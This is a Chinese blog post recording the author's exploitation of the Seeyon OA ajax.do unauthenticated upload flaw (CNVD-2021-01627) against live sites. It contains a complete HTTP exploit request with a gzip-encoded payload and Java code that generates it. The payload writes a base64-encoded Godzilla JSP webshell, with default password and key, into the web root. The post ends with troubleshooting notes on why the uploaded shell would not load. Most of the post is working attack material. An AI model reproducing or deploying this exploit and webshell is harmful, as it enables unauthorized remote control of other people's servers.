致远OA ajax.do未授权上传/seeyon/autoinstall.do.css(莫名其妙的坑记录一下) CNVD-2021-01627

0x01

打seeyon的站用ajax.do未授权上传的时候遇见了神奇的事情,先上payload吧,下面shell的路径为/seeyon/bak0.jspx,哥斯拉默认密码和密钥。

POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: xxxxx:8080
Connection: close
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 8518

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00%C2%B5W%C3%9B%C2%92%C2%A3%C3%88%11%7D%C2%B6%C2%BFB%C3%91%2F%C3%9D%13%C2%BB%C3%AE%01%C3%94%C2%8C%06o%C3%B8%C2%A1A%C3%A2%26%C2%89%C2%96%40%5C%1D%7E%C3%A0%C3%96%C2%80%28.%C3%93%C2%80%244%C2%B1%C3%BF%C3%AE%2C.%C2%92%C3%96%C2%B3%3D%3B%C3%9E%C2%B0%C3%B5%22%C2%84%C2%AA%C2%B22O%C3%A6%C3%89%3C%C3%B5%C3%8F%C2%AF%C3%B7%C2%AF%C3%85%5B%C3%96+w%C3%97%C2%96%C3%A1%C3%BD%C3%9F%27%C3%A4%C3%8F%C2%93%C3%B1%C2%8D%C3%A2f%C3%B8%C3%8D%7D%1DV%C3%B5%C3%BD%C3%B5%C3%B5%C3%A2T%C2%BE%C2%85U%C2%95%149%C3%BES%C2%AB%C3%9F%C2%92%3C%C2%9A%C2%94n%1DO%C3%BE1%C2%B9%7B%7C%C3%BCx%0C%3D%C2%B7%2C%C2%AB%C2%8FU%18%C2%B6E%C3%BE%C3%B1%C3%AE%C2%97%C2%BFN%C3%BA%C3%8F_%C3%B6%C3%AE%C3%81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E%C2%82%C3%B0uR%C3%95n%C2%9D%C3%B8%C2%93%C3%93%C3%A9%C3%B4%C3%B0%C3%A1%C3%AB%C3%BD%C2%AFp%C3%AF%C2%87%C2%BB%C3%BFW%C3%BC%5D%C2%BF5%C3%A1%C3%BD%C2%BF%C3%BE%0D%C2%B1%2BF%C3%B12%10%00%00

其中shell的内容和路径是由arguments参数控制,由gzip编码,具体生成如下

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.net.URLEncoder;
import java.util.zip.GZIPOutputStream;

public class gzip
{
    public static String compress(String str)
            throws IOException
    {
        if ((str == null) || (str.length() == 0)) {
            return str;
        }
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        GZIPOutputStream gzip = new GZIPOutputStream(out);
        gzip.write(str.getBytes());
        gzip.close();
        return out.toString("ISO-8859-1");
    }


    public static String compress2URI(String strData)
            throws IOException
    {
        String encodeGzip = compress(strData);
        String jsUriStr = URLEncoder.encode(encodeGzip, "UTF-8");
        return jsUriStr;
    }


    public static void main(String[] args) throws ClassNotFoundException {
//shell是base84编码后的;文件名为bak0.jspx;需要其他的shell和文件请自行修改;
        String poc = "[{'formulaType': 1, 'formulaName': 'test', 'formulaExpression': 'String path = \"../webapps/seeyon/\";\n" +
                "       \tjava.io.PrintWriter printWriter2 = new java.io.PrintWriter(path+\"bak0.jspx\");\n" +
                "        String shell = \"PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRlY2xhcmF0aW9uPiBTdHJpbmcgeGM9IjNjNmUwYjhhOWMxNTIyNGEiOyBTdHJpbmcgcGFzcz0icGFzcyI7IFN0cmluZyBtZDU9bWQ1KHBhc3MreGMpOyBjbGFzcyBYIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7cHVibGljIFgoQ2xhc3NMb2FkZXIgeil7c3VwZXIoeik7fXB1YmxpYyBDbGFzcyBRKGJ5dGVbXSBjYil7cmV0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XkoKSwgdHJ1ZSkpKTtyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDE2KSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+\";\n" +
                "        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();\n" +
                "        String decodeString = new String(decoder.decodeBuffer(shell),\"UTF-8\");\n" +
                "        printWriter2.println(decodeString);\n" +
                "        printWriter2.close();};test();def static xxx(){'}, '', {}, 'true']";
        try {
            String poc_encode = gzip.compress2URI(poc);
            System.out.println(poc_encode);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

0x02

接下来用生成好的payload直接打,然后发现上传文件的时候shell上传上去了但是访问报错,一直连不上。


image.png

正常情况的访问哥斯拉的应该不会报错,冰蝎的话是java.lang.NULL啥的。

0x03

接下来就是漫长的找问题环节。
一开始先把后缀改成txt,发现内容没问题,但是jspx解析就报错。
觉得可能是马的问题,换了冰蝎等,都不太行,还是报错。
头皮发麻,怀疑是gzip编码问题,直接找了个网上现场的payload,访问shell页面发现java.lang.NULL,成功连上去了(吐了)。

0x04

通过shell去查看之前上传后的连不了的shell,真没发现问题。不用上传了,直接把shell内容复制上去,还是报错连不上。当时到了这已经觉得非常离谱了。
最后发现是文件名问题。。。如下两个文件一模一样,带下划线的访问如上面那张图,不带下划线的成功连上如下。

image.png
image.png

估计是文件名带下划线解析时处理逻辑有点不同,以后再也不乱加特殊字符了

你可能感兴趣的:(致远OA ajax.do未授权上传/seeyon/autoinstall.do.css(莫名其妙的坑记录一下) CNVD-2021-01627)